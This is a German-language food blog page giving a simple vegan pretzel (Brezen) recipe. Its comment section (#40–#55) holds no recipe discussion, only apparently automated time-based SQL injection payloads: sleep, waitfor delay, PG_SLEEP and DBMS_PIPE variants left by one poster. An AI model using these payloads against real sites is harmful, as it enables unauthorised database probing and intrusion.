Jänner 2019  ·  22. Januar 2019

Brezen

Brezen

Brezen sind schon eine feine Sache. Welches Kind hat sie nicht geliebt? Brezen machen ist viel einfacher als man denkt. Mit diesem Rezept werden sie nahezu gelingsicher. 

Für etwa 18 Brezen:

 

1000 g Weizenmehl

(eventuell 20 g Backmalz, falls zur Hand)

20 g Salz

½ Germwürfel

575 ml lauwarmes Wasser

grobes Salz

 

 

Das Mehl mit dem Backmalz und dem Salz in eine Schüssel geben. Germ reinbröseln und mit lauwarmen Wasser übergießen. Mit der Knetmaschine zu einem geschmeidigen Teig verkneten.

 

Der Teig soll nun mindestens ½ Stunde bei Zimmertemperatur rasten. Nun ungefähr 70 – 80 g schwere Stücke nehmen und diese zu einem 60 cm langen Strang rollen und in Brezenform legen.

 

Die Breze auf ein Backblech platzieren, mit Wasser bestreichen, und nach Wunsch mit groben Salz bestreuen.

 

Nochmals 15 Minuten rasten lassen und bei 200°C etwa 15 Minuten hellbraun backen. 

helle Brezen

Anleitung zum Brezen formen:

Tags: vegan , brot, rezept, 2019, jän2019, brezen

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Kommentare: 89
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    pHqghUme (Mittwoch, 06 März 2024 20:12)

    -1' OR 3+13-13-1=0+0+0+1 --

  • #40

    pHqghUme (Mittwoch, 06 März 2024 20:17)

    1*if(now()=sysdate(),sleep(15),0)

  • #41

    pHqghUme (Mittwoch, 06 März 2024 20:20)

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

  • #42

    pHqghUme (Mittwoch, 06 März 2024 20:24)

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

  • #43

    pHqghUme (Mittwoch, 06 März 2024 20:28)

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • #44

    pHqghUme (Mittwoch, 06 März 2024 20:33)

    1-1; waitfor delay '0:0:15' --

  • #45

    pHqghUme (Mittwoch, 06 März 2024 20:37)

    1-1); waitfor delay '0:0:15' --

  • #46

    pHqghUme (Mittwoch, 06 März 2024 20:41)

    1-1 waitfor delay '0:0:15' --

  • #47

    pHqghUme (Mittwoch, 06 März 2024 20:45)

    1jTRC7utR'; waitfor delay '0:0:15' --

  • #48

    pHqghUme (Mittwoch, 06 März 2024 20:50)

    1-1 OR 94=(SELECT 94 FROM PG_SLEEP(15))--

  • #49

    pHqghUme (Mittwoch, 06 März 2024 20:55)

    1-1) OR 990=(SELECT 990 FROM PG_SLEEP(15))--

  • #50

    pHqghUme (Mittwoch, 06 März 2024 21:00)

    1-1)) OR 506=(SELECT 506 FROM PG_SLEEP(15))--

  • #51

    pHqghUme (Mittwoch, 06 März 2024 21:05)

    12C3zPVhw' OR 15=(SELECT 15 FROM PG_SLEEP(15))--

  • #52

    pHqghUme (Mittwoch, 06 März 2024 21:08)

    1ZxRjzAxL') OR 737=(SELECT 737 FROM PG_SLEEP(15))--

  • #53

    pHqghUme (Mittwoch, 06 März 2024 21:12)

    1fQUKUQ5B')) OR 357=(SELECT 357 FROM PG_SLEEP(15))--

  • #54

    pHqghUme (Mittwoch, 06 März 2024 21:13)

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  • #55

    pHqghUme (Mittwoch, 06 März 2024 21:16)

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

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